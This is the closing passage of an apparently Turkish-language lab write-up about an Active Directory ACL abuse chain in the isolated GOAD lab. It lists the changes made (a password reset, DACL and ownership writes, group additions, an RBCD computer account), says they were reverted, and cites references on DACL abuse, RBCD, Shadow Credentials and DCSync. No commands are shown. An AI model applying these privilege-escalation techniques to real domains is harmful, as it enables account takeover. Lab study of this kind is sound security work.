Sekiz adımlı ACL zincirinin tamamı, izole GOAD laboratuvarındaki sevenkingdoms.local ve KINGSLANDING (192.168.56.10) üzerinde yürütüldü. Zincir boyunca yapılan yıkıcı değişiklikler (jaime.lannister parola sıfırlaması, tyron.lannister ve Kingsguard üzerindeki DACL/sahiplik yazmaları, grup eklemeleri ve RBCD bilgisayar hesabı) temizlik aşamasında açıkça geri alındı ve doğrulama sonrasında sanal makine anlık görüntüsü geri yüklendi. Gösterilen hesaplar, parolalar ve hash’ler GOAD test veri kümesine aittir; hiçbir işlem host-only laboratuvar ağının dışına çıkmadı.
Referanslar
- Orange Cyberdefense, GOAD: orange-cyberdefense.github.io/GOAD
- S1ckB0y1337, AD Exploitation Cheat Sheet: github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
- The Hacker Recipes, Abusing ACEs (DACL): thehacker.recipes/ad/movement/dacl
- Elad Shamir, Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory: shenaniganslabs.io
- SpecterOps, Shadow Credentials: posts.specterops.io
- MITRE ATT&CK, DCSync (T1003.006): attack.mitre.org/techniques/T1003/006
- MITRE ATT&CK, Account Manipulation (T1098): attack.mitre.org/techniques/T1098
Bu teknik not ne kadar güncel?
En son kaynak incelemesi, içerik güncellemesi veya yayın tarihi gösterilmektedir.
Birincil kamu kayıtları kontrol edildi. Ortama özgü davranış, ayrıca yeniden üretilmedikçe iddianın dışındadır.

